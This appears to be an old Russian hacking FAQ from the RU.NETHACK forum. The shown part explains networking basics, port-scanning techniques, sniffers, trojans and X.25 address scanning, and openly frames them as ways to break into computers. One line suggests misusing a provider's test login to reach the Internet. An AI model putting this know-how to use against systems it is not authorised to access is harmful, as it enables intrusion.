RU.NETHACK F.A.Q.
Subj : RU.NETHACK F.A.Q.
The Official
RU.NETHACK F.A.Q.
Revision 0.295 (Russian Edition)
by DZh and other
Список разделов
~~~~~~~~~~~~~~~
1 Сети ЭВМ.
1.1 Internet (TCP/IP сети).
1.1.1 Что такое Internet?
1.1.2 Что такое DNS?
1.1.3 Какие программы нужны для работы в Internet?
1.1.4 Как получить доступ в Internet?
1.1.5 Что такое Вирус Морриса?
1.1.6 Что такое сканирование портов?
1.1.7 Что такое Firewall?
1.1.8 Что такое Denial of Service(DoS)?
1.1.9 Что такое Sniffer?
1.1.10 Троянские кони и логические бомбы.
1.1.11 Можно ли зная E-Mail человека, узнать его IP-адрес?
1.1.12 Можно ли зная пароль по UUPC получить On-Line?
1.1.13 Как через тестовый вход пpовайдеpа, получить доступ в Сеть?
1.2 X.25 (Сети пакетной коммутации).
1.2.1 Общие принципы построения.
1.2.2 Терминология.
1.2.3 Работа с X.25.
1.2.4 Работа с ПАД.
1.2.5 Формат адреса при межсетевом соединении.
1.2.6 Обзор сети SprintNet.
1.2.7 Обзор сети ROSNET.
1.2.8 Что такое сканирование X.25?
1.3 On-Line Services
1.3.1 Общие принципы предоставления On-Line услуг.
1.3.2 Альтернативные методы оплаты за On-Line услуги.
2 Операционные системы и компьютеры.
2.1 Классификация методов взлома компьютеров.
2.1.1 Как определить операционную систему?
2.1.2 Какие стандартные пароли в операционных системах?
2.2 Что такое UNIX?
2.2.1 Где хранятся пароли в UNIX?
2.2.2 Как узнать пароль в UNIX?
2.2.3 Какие методы применяются для взлома UNIX?
2.2.4 Как научится не оставлять за собой следов в UNIX?
2.3 Windows NT, Windows 9x, Windows 2000.
+ 2.3.1 Как через Internet подключиться к другой win'9x машине?
2.3.2 Как узнавать различные пароли в Win'9x?
2.3.3 Где хранятся номера телефонов к Dialup соединениям в Win9x?
2.3.4 Что такое BO(Back Orifice)?
* 2.4 Novell NetWare
* 2.2.1 Где хранятся пароли в NetWare?
* 2.2.2 Как узнать пароль в NetWare?
* 2.2.3 Как происходит передача пароля в NetWare?
* 2.2.4 Какие методы применяются для взлома NetWare?
* 2.2.5 Хочу подробнее! Где еще почитать о взломе NetWare?
3 Разное.
3.1 Условия распространения.
+ 3.2 Где найти свежую версию FAQ?
+ 3.3 Как связаться с авторами?
+ 3.4 Что еще можно почитать?
---
Предисловие.
Warning: Use of this material may shorten
your life in the free world !
The Official Phreaker's Manual
Если вас поймают, сошлитесь на незнание.
UNIX System Administrator Handbook
Назначение этого документа - ознакомить читателей конференции
RU.NETHACK с обсуждаемыми в ней темами и ответить на основные вопросы,
касающиеся сетевых атак. Этот документ не сделает вас хакерами, но
может быть поможет выбрать направление дальнейших поисков...
Прежде всего хочу избавить вас от распространенного заблуждения -
сеть, как таковую, невозможно сломать, ломать там нечего, так как под
понятием 'сеть' подразумевается физическая связь между компьютерами,
осуществляющими пересылку пакетов, с единой системой адресации. Ломать
сеть можно кусачками - например откусить сетевой кабель :-). Под
'взломом' компьютеров будем понимать получение несанкционированного
доступа данным и/или машинному времени компьютера работающего в сети.
Для удобства употребляют выражение 'ломать сеть' когда речь идет о
'взломе' компьютеров в сети.
Компьютерные сети можно _условно_ разделить на два вида - On-Line
(время доставки пакета маленькое - несколько секунд) и Off-Line
(задержки при доставке пакетов могут достигать нескольких часов или
суток). Примером On-Line сети является Internet; примером Off-Line -
FidoNet.
F.A.Q. разделён на несколько логических частей. В первой вы
познакомитесь с принципами построения и работы двух видов On-Line
сетей, построенных по технологиям TCP/IP и X.25, а также с On-Line
сервисами. Вторая часть посвящена операционным системам, используемым
на компьютерах подключенных к сетям.
---
Предисловие к Revision 0.295.
Еще одна версия второго издания F.A.Q. На горизонте третье - но до
него пока не добежать...
Что будет в третьем издании - пока доподлинно неизвестно. Вероятно
изменится структура документа, она придет к окончательному виду
"вопрос-ответ".
Если вы хотите дополнить F.A.Q. или что-либо предложить - смотрите
пункт 3.3 (Как связаться с авторами).
Коротко о Revision 0.295:
+Добавился раздел про Novell NetWare (Thanx to Vladislav Myasnyankin);
-Раздела "Ресурсы" все еще нет, и в скором времени не предвидится,
пока пользуйтесь Altavist'ой...;
+Незначительные изменения в некоторых ответах(отмечены);
Как обычно в оглавлении новые пункты отмечены '*', измененные '+'.
---
Благодарности.
Я благодарю всех, кто мне помогал, помогает составлять и тестировать
этот документ. Это:
Urel Ben-Iohanan,
Destructor,
Andy Mc'Horin,
Vladislav Myasnyankin,
Anatoly Skoblov,
Werewolf
и другие(дополнения принимаются).
[Editor, Denis Zhitenev]
---
Часть 1. Сети ЭВМ.
1.1 Internet (TCP/IP сети).
1.1.1 Что такое Internet?
Internet - крупнейшая компьютерная сеть в мире, объединяющая
множество компьютеров, соединенных самыми разнообразными способами от
телефонных линий до систем спутниковой связи. В Internet используется
стек протоколов TCP/IP, который включает в себя:
IP(Internet Protocol) - межсетевой протокол, который обеспечивает
транспортировку без дополнительной обработки данных с одной машины на
другую;
UDP(User Datagram Protocol) - протокол пользовательских датаграмм,
обеспечивающий транспортировку отдельных сообщений с помощью IP без
проверки ошибок;
TCP(Transmissin Control Protocol) - протокол управления передачей,
обеспечивающий транспортировку с помощью IP с проверкой установления
соединения;
Каждый компьютер непосредственно подключаемый к Internet получает
свой уникальный IP-адрес.
Internet-адрес имеет в длину четыре байта и состоит из двух
частей: сетевой и машинной. Первая часть означает логическую сеть, к
которой относится адрес; на основании этой информации принимаются
решения о маршрутизации ( routing ). Вторая часть идентифицирует
конкретную машину в сети.
По соглашению, IP-адреса записываются как десятичные числа (по одному
на каждый байт), разделенные точками, например 194.85.31.20
Каждый IP-адрес принадлежит сети определенного класса. Класс сети
определяется значением байта адреса:
0 8 16 24 31
ц______________е__________а__________а____________╢
Класс A Ё0| номер сети Ё номер узла Ё
ц______________а__________б_______________________╢
Класс B Ё10| номер сети Ё номер узла Ё
ц_________________________а__________б____________╢
Класс C Ё110| номер сети Ё номер узла Ё
ц____________________________________а____________╢
Класс D Ё1110| групповой адрес Ё
ц_________________________________________________╢
Класс E Ё11110| зарезервировано Ё
ю_________________________________________________ы
з_______б___________________б______________б______________©
Ё Класс Ё Диапазон значений Ё Возможное Ё Возможное Ё
Ё сети Ё первого байта Ё кол-во сетей Ё кол-во узлов Ё
ц_______е___________________е______________е______________╢
Ё A Ё 1 - 126 Ё 126 Ё 16777214 Ё
Ё B Ё 128-191 Ё 16382 Ё 65534 Ё
Ё C Ё 192-223 Ё 2097150 Ё 254 Ё
Ё D Ё 224-239 Ё - Ё 2**28 Ё
Ё E Ё 240-247 Ё - Ё 2**27 Ё
ю_______а___________________а______________а______________ы
Каждый пакет, проходящий по сети содержит адрес получателя, и идет
согласно определенным правилам маршрутизации. Маршрутизация - это
процесс направления пакета по лабиринту сетей, находящихся между
источником и адресатом.
1.1.2 Что такое DNS?
DNS(Domain Name System) - это распределенная база данных, которая
содержит информацию о компьютерах, включенных в сеть Internet.
Характер данных зависит от конкретной машины, но чаще всего информация
включает имя машины, IP-адрес и данные для маршрутизации почты.
Для удобства,большинство компьютеров имеют имена. Доменная система
имен выполняет несколько задач, но основная ее работа - преобразование
имён компьютеров а IP-адреса и наоборот.
Пространство имен DNS имеет вид дерева доменов, с полномочиями,
возрастающими по мере приближения к корню дерева. Корень дерева имеет
имя "."; под ним находятся домены верхнего уровня(корневые домены).
По историческим причинам существует два вида доменов верхнего
уровня. В США домены верхнего уровня отражают организационную
структуру, и как правило имеют трехбуквенные имена:
.gov - государственные учреждения;
.mil - военные учреждения;
.com - коммерческие организации;
.net - поставщики сетевых услуг;
.org - некоммерческие организации;
.edu - учебные заведения;
Для доменов вне США, в соответствии с территориальным расположением
используются двухбуквенные коды стран утвержденные ISO. Например:
www.spm.ru - в России
www.berlin.de - а Германии
www.hotex.nl - в Нидерландах
и т.д.
---
1.1.3 Какие программы нужны для работы в Internet?
Обычно программы для работы с Internet входят в состав большинства
современных операционных систем. Вот некоторые из них:
ping - позволяет определить время прохождения пакета до хоста.
traceroute - показывает путь прохождения пакетов по сети. (в Win95 и
NT - tracert.exe)
nslookup - позволяет просматривать содержимое DNS-серверов.
telnet - устанавливает соединение с удаленной машиной (23 порт)
и позволяет вам работать в режиме удаленного терминала.
ftp - позволяет передавать файлы между машинами по протоколу
FTP (File Transfer Protocol) (21 порт).
finger - показывает информацию о пользователях работающих в
данный момент на какой-либо машине.
netstat - позволяет получить статистическую информацию о работе
сети на локальной машине(открытые соединения и т.д.).
Для работы с WWW (World Wide Web) используются программы Netscape
Navigator, Internet Explorer, и некоторые другие. Эти программы
устанавливают соединение с сервером (80 порт) и работают по протоколу
HTTP.
Замечание: для работы с ftp, telnet, finger и www необходимо
чтобы на машине, с которой вы устанавливаете соединение были запущены
соответствующие программы-серверы.
---
1.1.4 Как получить доступ в Internet?
Это вероятно один из самых насущных вопросов для любого читателя
конференции RU.NETHACK.
Как показывает практика, для того, чтобы начать ломать компьютеры
в Internet необходимо уже иметь туда выход, пусть даже временный или
минимальный. Не всё так сложно как вы думаете. В наше время получить
доступ в Internet не составляет никаких проблем. Вот некоторые из них:
- Самый легкий - если ваш институт ( если вы работаете на кафедре,
то всё многократно упрощается ) уже подключен к Internet, то
попытайтесь договориться о предоставлении вам (или вашей кафедре)
выхода туда.
- Если в вашем институте нет Internet, то это даже лучше - вы
можете стать основателем, остается только пойти к руководству и
убедить их в необходимости подключения [КАК !?! У нашего любимого
института нет выхода в I-Net ?!? Нет собственного WWW-сервера ?!?
Нет даже электронной почты ?!? Да нас не будут уважать !!! Каждый
уважающий себя ВУЗ ДОЛЖЕН иметь выход в Internet !!! ]. Если Вам
удалось убедить начальство - Вы выиграли и у вас будет свой,
_бесплатный_ Internet.
-----------------------------------------------------------
- Маленькое отступление.
- Прочитав этот абзац, один мой знакомый долго смеялся...
- однако, я оставляю его без изменений, если вы всерьёз
- хотите всем этим заниматься, это один из самых простых
- путей начать. Через некоторое время желание что-то ломать
- пропадёт. (;
-----------------------------------------------------------
- Если Вы работаете в солидной фирме, не имеющей выход в Internet,
то вышеприведенные рекомендации применимы и в этом случае.
На этом стоит временно прервать перечисление и заметить: ЕСЛИ У ВАС
ЕСТЬ ВОЗМОЖНОСТЬ ВОСПОЛЬЗОВАТЬСЯ ВЫШЕПЕРЕЧИСЛЕННЫМИ СПОСОБАМИ, НЕ
ЧИТАЙТЕ ДАЛЬШЕ, а попытайтесь воплотить их в жизнь, и у Вас не
возникнет множества проблем связанных с темой данной конференции.
Для всех остальных - продолжу:
- Платный доступ к Internet предоставляют находящиеся в вашем городе
фирмы( т.н. провайдеры ). Можно заметить, что их услуги все еще
дороги, особенно если доступ нужен без определенной цели, т.е. вы
не зарабатываете денег используя Internet.
- Кроме того, услугами по предоставлению доступа в Internet могут
заниматься фирмы находящиеся за пределами вашего города или
страны, используя в качестве транспорта X.25 сети ( например
сеть SPRINT ).
---
1.1.5 Что такое Вирус Морриса?
2 ноября 1988 года Роберт Моррис младший, аспирант факультета
информатики Корнельского Университета с помощью написанного им вируса
инфицировал большое количество компьютеров, подключенных к сети
Internet.
Вирус Морриса поражал только компьютеры типа SUN 3 и VAX, которые
использовали варианты ОС UNIX версии 4 BSD.
Для своего распространения вирус использовал некоторые дефекты
стандартной операционной системы UNIX, установленной на многих
системах. Он также использовал механизм, предназначенный для доступа
к удаленным компьютерам в локальных сетях.
Вирус состоял из двух частей: главной программы и программы,
обеспечивающей его распространение. Главная программа после запуска на
очередной машине собирала информацию относительно других машин в сети,
с которыми она имеет связь. Она выполняла эту работу с помощью анализа
конфигурационных файлов и путем запуска системной утилиты, которая
дает информацию о текущем состоянии соединений в сети. Затем
производилась пересылка программы распространения на найденные машины,
затем она запускалась и обеспечивала пересылку и компиляцию остальной
части вируса. Затем весь процесс повторялся.
Наиболее заметным эффектом при распространении вируса, была все
же непрерывно возраставшая загрузка пораженных вирусом машин. По
истечении некоторого времени некоторые машины оказались настолько
загруженными распространением копий вируса, что не были способны
выполнять никакой полезной работы; некоторые машины исчерпывали память
для свопинга или таблицу текущих процессов и их приходилось
перегружать.
---
1.1.6 Что такое сканирование портов?
-----------------------------------------------------------
- Маленькое отступление.
- Читателям, не знакомым с принципами работы TCP/IP я
- рекомендую пропустить эту главу, или ознакомиться с ней
- прочитав TCP/IP Programming Guide, или что-то подобное.
-----------------------------------------------------------
Иногда у вас может возникнуть потребность узнать какие сервисы
предоставляет определенный хост. Для этого существует ряд различных
программ сканирования портов.
Простейший вариант - это программы типа SATAN (Security Analysis
Tool for Auditing Networks), которые устанавливают соединение с каждым
TCP-портом, открывая полное TCP-соединение. Преимущества этого метода
заключаются в том, что пользователю, занимающемуся сканированием, не
нужно самому составлять ip-пакет, который будет использован для
сканирования, потому что он использует стандартные системные вызовы, и
ему не нужен доступ администратора ( обычно нужен, чтобы использовать
SOCK_RAW или открывать /dev/bpf, /dev/nit и т.д.). Недостатком этого
метода заключается в том, что его легче обнаружить, причем несколькими
способами,в частности TCP Wrapper'ами by Wietse Venema. Для устранения
этого недостатка были придуманы методы сканирования без установления
полного TCP-соединения, т.н. 'полуоткрытое сканирование'.
Процесс установки TCP-соединения состоит из трех фаз: сторона,
устанавливающая соединение, сначала посылает TCP-пакет с установленным
флагом SYN, после чего принимающая сторона посылает TCP-пакет с
установленными флагами SYN и ACK в случае, если порт открыт, или
сбрасывает соединение с флагом RST если порт не активен. Третья фаза
происходит когда сторона,устанавливающая соединение,посылает финальный
TCP-пакет с установленным флагом ACK ( само собой все эти пакеты имеют
соответствующие sequence- и ack-номера, и т.д. ). Теперь соединение
установлено.
Сканирования с SYN-флагом.
~~~~~~~~~~~~~~~~~~~~~~~~~~
SYN-сканер посылает только первый пакет из трех и ждет SYN|ACK или
RST. Когда он получит либо то, либо другое, он будет знать, активен
этот порт или нет. Основное преимущество этого метода заключается в
том,что он не обнаруживается программами типа "SATAN" или TCP Wrappers
by Wietse Venema. Основные недостатки этого метода:
Этот метод обнаруживается некоторыми программами,которые проверяют
попытки коннекта с SYN-флагом ( например tcplog ), а также он
обнаруживается netstat(1)'ом.
Сторона,устанавливающая соединение, обычно должна составлять весь
IP-пакет. Для этого необходимо иметь доступ к SOCK_RAW ( в большинстве
операционных систем: getprotbyname('raw') ) или /dev/bpf (Berkeley
Packet Filter), /dev/nit (Sun 'Network Interface Tap') и т.д. Для
этого необходимо, как правило, иметь уровень администратора.
Stealth-сканирование.
~~~~~~~~~~~~~~~~~~~~~
Этот метод основан на некорректном сетевом коде в BSD. Учитывая
то,что в большинстве операционных систем используется BSD'шный сетевой
код или производный от него,этот способ работает на большинстве систем
( наиболее очевидное исключение - маршрутиризаторы Cisco ). Этот метод
трудно обнаружить. Даже зная сам метод, разработка обнаруживающего
алгоритма весьма проблематична без устранения самой ошибки. Недостатки
этого способа:
Этот метод основан на ошибках в сетевом коде. Это значит, что
возможно, а точнее скорее всего, эти ошибки будут исправлены. Например
в OpenBSD это уже исправлено.
Нельзя поручиться, что этот способ будет нормально работать
в конкретной обстановке. Результаты могут быть разными в зависимости
от платформы и операционной системы, т.е. этот способ не вполне
надежен.
Используются TCP пакеты с установленными ACK и FIN флагами.Их надо
использовать,потому что,если такой пакет послать в порт при неоткрытом
соединении,всегда возвратится пакет с флагом RST. Существуют несколько
методов, использующих этот принцип:
метод #1:
Послать FIN-пакет. Если принимающий хост возвращает RST, значит
порт неактивен,если RST не возвращается, значит порт активен. Учитывая
тот факт, что этот метод работает на таком количестве хостов,
это - грустное свидетельство тому, какой некорректный сетевой код в
большинстве операционных систем.
метод #2
Послать ACK-пакет. Если TTL возвращаемых пакетов меньше, чем в
остальных полученных RST-пакетах, или если размер окна больше нуля,
то скорее всего порт активен.
Пример программы для разных видов сканирования TCP портов вы
можете найти в приложении 4.
---
1.1.7 Что такое Firewall?
Firewall - один из эффективных методов защиты внутренних сетей.
Физическая реализация этого сервиса может быть различной, но обычно
это программный или программно-аппаратный комплекс, обеспечивающий
анализ и обработку проходящего сквозь него сетевого трафика.
Обработка может вестись в широких пределах - от разграничения
доступа к различным адресным пространствам сети, до прозрачной
шифрации трафика с целью организации виртуальных частных сетей(VPN) в
Internet.
Наиболее распространенное применение - организация доступа в
Internet из закрытых корпоративных сетей. В этом случае внутренние
пользователи получают полный или ограниченный доступ в Internet, а
доступ снаружи во внутреннюю сеть не допускается.
---
1.1.8 Что такое Denial of Service(DoS)?
Denial of Service - разновидность атак, приводящая к некорректной
работе или выходу из строя установленного на компьютеры программного
обеспечения. Атаки подобного типа относятся скорее к электронному
вандализму, чем к реальному взлому систем, поэтому подробнее этот
вопрос не будет рассматриваться. Ключевые слова для поиска информации
в Internet: [win]Nuke, land-attack, syn-flood, teardrop.
---
1.1.9 Что такое Sniffer?
Что же такое sniffer, и как это работает.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
В отличие от телефонной сети, компьютерные сети используют общие
коммуникационные каналы т.к. достаточно дорого тянуть петлю до каждого
узла. Совместное использование каналов подразумевает, что узел может
получать информацию, которая предназначается не ему. 'Отлов' этой
информации в сети и называется sniff'ингом.
Наиболее простой способ соединения компьютеров - ethernet. Обмен
данными по протоколу Ethernet подразумевает посылку пакетов всем
абонентам сети. Заголовок пакета содержит адрес узла-приемника.
Предполагается, что только узел с соответствующим адресом может
принять пакет. Однако, через каждый узел проходят все пакеты, а затем
сетевой адаптер выбирает из них предназначенные для конкретного узла.
Так как в обычной сети информация о паролях передается по ethernet
в виде текста - нет ничего сложного, собирая и анализируя пакеты,
проходящие по сети, получить информацию о всех компьютерах сети.
Область применения sniff'инга.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Sniff'инг - один из наиболее популярных видов атаки, используемых
хакерами в локальных сетях. Первый программный Sniff'ер называемый
Esniff.c - очень маленький, разработанный для работы на SunOS,
занимался тем, что вылавливал первые 300 байт telnet, ftp и rlogin
сессий. Он был опубликован в Phrack - одном из наиболее широко
известном подпольном хакерском журнале.
Существует множество ethernet sniffer'ов, здесь лишь некоторые из них:
OS Sniffer Где взять
~~ ~~~~~~~ ~~~~~~~~~
4.3/4.4 BSD tcpdump /* Available via anonymous ftp */
FreeBSD tcpdump /* Available via anonymous ftp
at gatekeeper.dec.com */
/* /.0/BSD/FreeBSD/FreeBSD-current/src/contrib/tcpdump/ */
NetBSD tcpdump /* Available via anonymous ftp
at gatekeeper.dec.com */
/* /.0/BSD/NetBSD/NetBSD-current/src/usr.sbin/ */
DEC Unix tcpdump /* Available via anonymous ftp */
DEC Ultrix tcpdump /* Available via anonymous ftp */
HP/UX nettl (monitor) & netfmt (display)
nfswatch /* Available via anonymous ftp */
Linux tcpdump /* at sunsite.unc.edu */
/* /pub/Linux/system/Network/management/ */
SGI Irix nfswatch /* Available via anonymous ftp */
Etherman
tcpdump /* Available via anonymous ftp */
Solaris snoop
tcpdump
SunOS etherfind
nfswatch /* Available via anonymous ftp */
tcpdump /* Available via anonymous ftp */
DOS ETHLOAD /* Available via anonymous ftp */
/* as ethld104.zip */
The Gobbler /* Available via anonymous ftp */
LanPatrol
LanWatch
Netmon
Netwatch
Netzhack /* Available via anonymous ftp */
/* at mistress.informatik.unibw-muenchen.de */
/* /pub/netzhack.mac */
Macintosh Etherpeek
Win'9X,Win NT Network Monitor /* в составе Microsoft SMS */
Session Wall /* www.abirnet.com */
LANAlyzer
---
1.1.10 Троянские кони и логические бомбы.
Вы помните историю про Троянского Коня? Троянские программы это
нечто похожее. Это код, выполняющий нелегальные действия при
определенных условиях, программы эмулирующие работу других программ с
различными целями. Особенно опасен троянский код, помещенный в важные
системные программы, например в программы проверки паролей...
Программы, эмулирующие работу других программ, особенно тех,
которые взаимодействуют с пользователем, могут создать реальную
возможность для взлома системы. Например программа, которая эмулирует
процедуру регистрации пользователя в системе и после введенного
пароля говорит что-то вроде Login incorrect, затем инициирует реальную
процедуру регистрации.
Примером троянской программы для Win'9x является нашумевшая
программа "Back Orifice", инсталлирующаяся как сервис и позволяющая
удаленно получить доступ к различным ресурсам компьютера.
---
1.1.11 Можно ли зная E-Mail человека, узнать его IP-адрес?
E-mail и IP-адрес в большинстве случаев не связаны между собой.
Можно однозначно узнать адрес сервера отвечающего за доставку E-mail
посмотрев с помощью программы nslookup(dig) на записи типа MX в DNS
для домена указанного в адресе(см 1.1.2). Если запись MX отсутствует,
то сервером является машина идентифицируемая доменом в E-mail.
---
1.1.12 Можно ли зная пароль по UUPC получить On-Line?
Нет. UUCP(Unix-to-Unix copy protocol), используемый для передачи
файлов. На данный момент этот протокол используется для обмена
почтовыми пакетами. Есть _неподтвержденные_ слухи, что на какой-то из
старых версий UUCP была возможность запускать программы удаленно...
но это только слухи.
---
1.1.13 Как через тестовый вход пpовайдеpа, получить доступ в Сеть?
У некоторых провайдеров существует тестовые входы, позволяющие
пользователям получить доступ к серверам находящимся непосредственно в
их сети. Естественно, маршрутизатор провайдера настраивается таким
образом, чтобы не пускать в Internet пользователя тестового входа.
Таким образом, после получения доступа в сеть провайдера через
тестовый вход, задача доступа в Internet может быть решена путем
корректировки настроек программного обеспечения этого провайдера, либо
можно попытаться получить бюджет для нормального входа. Решение этих
задач зависит от конкретной ситуации и универсальной методики не
существует. Далее см. часть 2.
---
1.2 X.25 (Сети пакетной коммутации)
1.2.1 Общие принципы построения.
Основу X.25 сетей составляют Центры Коммутации Пакетов (ЦКП),
расположенные во многих городах и обеспечивающие доступ к сети. Обычно
абонент получает доступ к сети, соединяясь с ближайшим ЦКП, т.е. можно
получить доступ к сети из любого места, где есть телефонная связь, без
привязки к конкретному ЦКП.
Абоненты сети подключаются к ней для того, чтобы передавать
информацию или принимать ее от других абонентов или хост-машин. Для
этого в сети устанавливается временная логическая связь между этими
абонентами, называемая виртуальным соединением. После установления
виртуального соединения между абонентами может происходить обмен
данными одновременно в двух направлениях (дуплекс), причем задержка
передачи пакетов данных не превышает долей или нескольких секунд в
зависимости от загруженности сети.
---
1.2.2 Терминология.
NUA (Network Users Address /Сетевой Адрес Пользователя/ ) - число,
или мнемоническое имя задающее сетевой адрес пользователя. Подробнее о
формате см. п. 2.1.3.
NUI (Network User Identificator /Идентификатор Сетевого Пользователя/)
- код доступа и пароль. Обычно предоставляется поставщиком сетевых
ресурсов и используется для определения оплаты за услуги.
DNIC (Data Network Identification Code /Код идентификации сети/) -
представляет из себя 4 цифры, которые в полном сетевом адресе задают
код сети данных. Подробнее в п. 2.1.3 и в приложении 1.
PAD (Packet Assemble Disassembler / Сборщик/разборщик пакетов /) - это
устройство позволяющее с помощью обычного терминала работать с сетями
коммутации пакетов, т.к. терминальные программы передают не блоки
данных, а символы.
---
1.2.3 Работа с X.25
Для работы с X.25 требуется терминальная программа (например
Telemate или Telix). Позвонив модемом на ближайший узел сети пакетной
коммутации, вы подключаетесь к ПАД, который получает символы для
передачи по сети и формирует из них пакеты, а также выполняет и
обратную операцию разборки пакетов и передачи символов на терминал.
Как уже говорилось ранее, сети пакетной коммутации являются
транспортом, позволяющим вам работать со многими системами, которые к
нему подключены. Для этого необходимо знать адрес (NUA) системы, с
которой вы предполагаете работать. Кроме того, большинство систем
снабжено средствами идентификации пользователей, т.е. требуют для
работы с ними имя пользователя и пароль. Это связано, в первую очередь
с реверсивной оплатой сетевых услуг - владельцы подключенной к сети
системы платят провайдеру за время соединения пользователей с ней, а
затем могут брать с пользователей плату за предоставляемые услуги.
---
1.2.4 Работа с ПАД.
Работа пользователя с ПАД происходит в двух режимах: в командном
и передачи данных. В начале своей работы с ПАД пользователь находится
в командном режиме. При установлении соединения пользователь переходит
в режим передачи данных. В режиме передачи данных происходит обмен
информацией с удаленным ресурсом. При необходимости непосредственного
взаимодействия с ПО ПАД пользователь может перейти в командный режим,
введя символ внимания - как правило, CTRL/P. В командном режиме
пользователь может использовать следующие команды:
CON - установление соединения через сеть Х.25 [*]
LOC - установление локального соединения
CLR - разрыв соединения [**]
PAR? - просмотр текущих значений параметров Х.3 [***]
SET - установление новых значений параметров Х.3
SET? - установление новых значений параметров Х.3 и их просмотр
PROF - установление новых значений совокупности параметров X.3
INT - посылка срочных данных
RESET - сброс соединения
STATUS - текущий статус соединения
В ответ на команды пользователя ПАД выдает диагностические
сообщения:
з____________________________________________________________©
Ё Сообщение ПАД Значение сообщения Ё
ц____________________________________________________________╢
Ё COM соединение установлено Ё
Ё ERR синтаксическая ошибка в команде Ё
Ё RESET возможная потеря данных на пакетном уровнеЁ
Ё FREE ответ на команду ПАД STATUS,при отсутствииЁ
Ё соединения Ё
Ё ENGAGED ответ на команду ПАД STATUS,при установ- Ё
Ё ленном соединении Ё
Ё CLR CONF разъединение выполнено Ё
Ё CLR индикация разъединения по одной из следу- Ё
Ё ющих причин: Ё
Ё 0 DTE удаленный DTE разорвал соединение Ё
Ё 1 OCC номер занят Ё
Ё 3 INV неправильный запрос средств Ё
Ё 5 NC сеть переполнена Ё
Ё 9 DER канал неисправен Ё
Ё 11 NS доступ запрещен Ё
Ё 13 NP нет доступа Ё
Ё 17 RPE удаленная процедурная ошибка Ё
Ё 19 ERR местная процедурная ошибка Ё
Ё 21 PAD разъединил местный ПАД Ё
Ё 25 NRC нет реверсивной оплаты Ё
Ё 33 INC несовместимый адрес назначения Ё
Ё 41 NFC нет быстрой выборки Ё
Ё 128 DTE канал зарезервирован Ё
Ё 129 DTE удаленный DTE не готов Ё
Ё 130 DTE канал является исходящим Ё
Ё 131 DTE DTE работает по протоколу Х.28 Ё
Ё 132 DTE DTE отсоединено Ё
Ё 133 DTE DTE недоступно Ё
Ё 134 DTE канал не существует Ё
Ё 135 DTE канал рестартован Ё
Ё 136 DTE нет связи по Х.25 Ё
Ё 137 DTE адрес удаленного DTE не существует Ё
Ё 138 DTE нет виртуального канала Ё
ю____________________________________________________________ы
[*] - В некоторых случаях команду 'CON' пропускают или заменяют 'C'.
[**] - В некоторых случаях заменяется командой BYE.
[***] - Значения параметров X.3 приводятся в приложении 2.
---
1.2.5 Формат адреса при межсетевом соединении.
з_ 0 -
ц_ 1 - Океания
ц_ 2 - Европа
з_____ признак того, ц_ 3 - Америка
Ё что адрес задан в полном виде ц_ 4 - Азия
Ё DNIC - код сети,где: ц_ 5 - Австралия
Ё з___ код региона 0 - 9 <_________________е_ 6 - Африка
Ё Ё ц_ 7 - Юж. Америка
Ё Ёзб_ код страны (50 - СНГ) ц_ 8 -
Ё ЁЁЁ ю_ 9 -
Ё ЁЁЁ
Ё ЁЁЁз код национальной сети 1-9 <_________б_ 0 - ROSPAC
Ё ЁЁЁЁ ц_ 1 - SPRINT
0 250С XXXX YYYY ZZ ц_ 2 - IASNET
ЁЁЁ ЁЁЁЁ юа_подадреса абонента, ц_ 3 - MMTLnet
ЁЁЁ юааа____номер линии на узле, ц_ 4 - INFOTEL
юаа________ номер узла ц_ 5 - ?
ю__ы ю__________ы ц_ 6 - ROSNET
DNIC Внутрисетевой адрес ц_ 7 - ISTOK-K
ц_ 8 - TRANSINFORM
ю_ 9 - LENFINKOM
В X.25 сетях в соответствии с рекомендацией Х.121 используются
адреса 3-х типов:
1) полный (международный) сетевой адрес - 0 250 С ХХХХYYYYZZ,
где (слева направо):
- 0 - признак того, что адрес задан в полном виде;
- 2504 - DNIC - код сети, где:
- 2 - код Европы;
- 50 - код страны (СССР);
- С - код национальной сети (для ИНФОТЕЛ С=4);
- ХХХХYYYYZZ (до 10 цифр) - уникальный код абонента внутри сети.
2) внутрисетевой адрес - СХХХХХХХХХХ, где:
- С - последняя цифра DNIC'а, т.е. уникальный код сети внутри
одной страны;
- ХХХХХХХХХХ - код абонента.
3) телефонный номер - 9GNNNNNNNNNNN, где;
- 9 признак телефонного номера;
- G - код узла коммутации (города);
- NNNNNNNNNNN (до 11 цифр) - телефонный номер внутри города.
---
1.2.6 Обзор сети SprintNet.
Сеть "SprintNet" ( далее Sprint ) - глобальная сеть коммутации
пакетов, одна из крупнейших в мире в настоящее время. Сеть Sprint
является непосредственным развитием сети Telenet - одной из первых
общедоступных сетей коммутации пакетов. Владельцами сети являются
крупные американские коммуникационные компании UTI и GTE. Их дочерней
компании US Sprint принадлежит крупнейшая в мире сеть оптоволоконных
каналов, составляющая основу Sprint.
К Sprint подключено около 6000 host-компьютеров и шлюзов (gates)
других фирм и организаций, предоставляющих разнообразные справочно-
информационные услуги и обеспечивающих выход в другие сети.
Примерно 110 сетей во всём мире поддерживают соединения со Sprint.
Подробнее см. http://www.sprintlink.net/
---
1.2.7 Обзор сети ROSNET.
Сеть ROSNET - одна из Российских X.25 сетей, имеющая узлы в
большинстве крупных городов. Раньше эта сеть специализировалась на
передаче телексных и телеграфных сообщений, в настоящее время к ней
подключено небольшое количество систем типа АДОНИС, Rex400, доступных
без NUI и предоставляющих почтовые и другие услуги пользователям.
Телефоны входов можно посмотреть на http://www.rosnet.ru/
---
1.2.8 Сканирование X.25
Время от времени у вас может возникать потребность узнать какие
системы подключены к X.25 сети. Так как провайдеры X.25 не публикуют
списки подключенных к сети систем, их поиск осуществляется с помощью
сканирования сети - простым последовательным перебором адресов (NUA).
Естественно, делать это вручную непроизводительно - для этого
используются разнообразные программы или скрипты ( мини-программы,
написанные на встроенном языке терминала, например Telemate). Пример
такого скрипта приведён в приложении 3.
---
1.3 On-Line Services
1.3.1 Общие принципы предоставления On-Line услуг.
В предыдущих частях были описаны общие принципы построения и
работы самых известных On-Line сетей. Однако следует заметить, что до
последнего времени работа в TCP/IP и X.25 сетях требовала некоторых
профессиональных знаний и навыков, не всегда доступных для обычных
пользователей компьютеров. Вероятно поэтому были созданы сервисы, для
работы с которыми не требуется профессиональных знаний. Пользователь,
заплатив некоторую сумму денег, получает доступ к необходимым ему
информационным ресурсам с помощью некой программы - оболочки, или
просто, в диалоговом режиме.
